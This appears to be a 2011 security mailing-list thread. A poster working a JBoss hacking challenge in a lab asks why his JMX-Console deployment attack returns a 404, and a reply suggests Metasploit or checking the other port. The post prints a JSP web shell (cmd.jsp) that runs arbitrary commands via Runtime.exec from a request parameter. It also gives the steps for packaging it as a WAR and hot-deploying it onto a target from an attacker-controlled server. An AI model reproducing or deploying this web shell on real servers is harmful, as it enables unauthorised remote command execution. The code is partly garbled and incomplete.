Re: breaking jboss with a browser? not happening

On 14 January 2011 20:02, lazers <a.alii85@xxxxxxxxx> wrote:

I have been given task to break into jboss application by my senior sec
manager at my company.
Its a hacking challenge staged in a test lab This is what i have been given.
A web-access to jboss.
Yes that pretty much it<3. He believes in less is more philosophy. With some
get to start working info. I have been told that a vulnerability exists
inthe application and its no 0 day exploit its an known vulnerability.It is
set as an open-book challenge i can get help anywhere i like. So what i did
so for?

Yes i google ; but i also run a nessus scan and the scan brought me one HIGH
vulnerability. Its has to do with the default Jboss installation using the
JMX-Console. Its not a new vulnerability i was able to reach this conclusion
as i start googling. This particular vulnerability is very popular; I was
saying to myself that my problems are over and i would be break it into
jboss in record time. But that has been largely un-true. Why? Well if it
wasn't true i wouldn't be  here. I did the following (in steps)

attack vector: deployment scanner feature

1.confirmed the default installation (by accessing localhost:9090) in my
case its

9090 not 8080 as in hacking literature. Probably this is because em using a
new version (idk exact reason)

2.i wrote this jsp script(cmd.jsp) astold in sites.

<%@ page import="java.util.*,*"%>




Commands with JSP


<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">




if (request.getParameter("cmd") != null) {

out.println("Command: " + request.getParameter("cmd") +"<BR>");

Process p =Runtime.getRuntime().exec(request.getParameter("cmd"));

OutputStream os = p.getOutputStream();

InputStream in = p.getInputStream();

DataInputStream dis = new DataInputStream(in);

String disr = dis.readLine();

while ( disr != null ) {


disr = dis.readLine();





</BODY></HTML> i create a web.xml file to be placed in WEB-INF folder

<?xml version="1.0" ?>

<web-app xmlns="";









4.I complied the file cmd.jsp by placing the web.xml file in WEB-INF folder

jar cvf cmd.war WEB-INF cmd.jsp

5. I put this file in http-apache server. File cmd.war reside at htdocs
folder. Can be accessed by url: mywebserver:80/cmd.war

6.i go back to jboss defualt page and navigate myself to

7. in the addurl tab i enter path for my cmd.war file as


8. next i goto victim webserver in attempt to access my uploaded application

9. i get HTTP STATUS 404- /cmd/cmd.jsp

my app is suppose to be hot deployed by the jboss; but this is not the case
coz even after 10-20 times after u have access the file i get the same error
page. I want to know what is the reason for the behavior. I know there
exists other attack vector (e.g rmi and etc) but i want to stick to this
until i don't figure out the reason for this failure of exploit.

Em i compiling the .jsp file with incorrect syntax? do i need to have tomcat
server installed instead? I read it on internet that there could be some
problems in the jboss trying to get reverse shell on your web-server as
jboss is it work in bind-shell mode only? I'm really clueless to what i
happening i spent 12 works on this single attack vector but em not making

jboss gurus help me.

Metasploit has a plugin that will do this automatically against JBoss
if you know the credentials.

I'd also check where the file is being deployed. I did this on a test
once and there were two open ports, I installed the app on one but
then got a 404 when browsing to it, when I accessed it through the
other port it worked fine.


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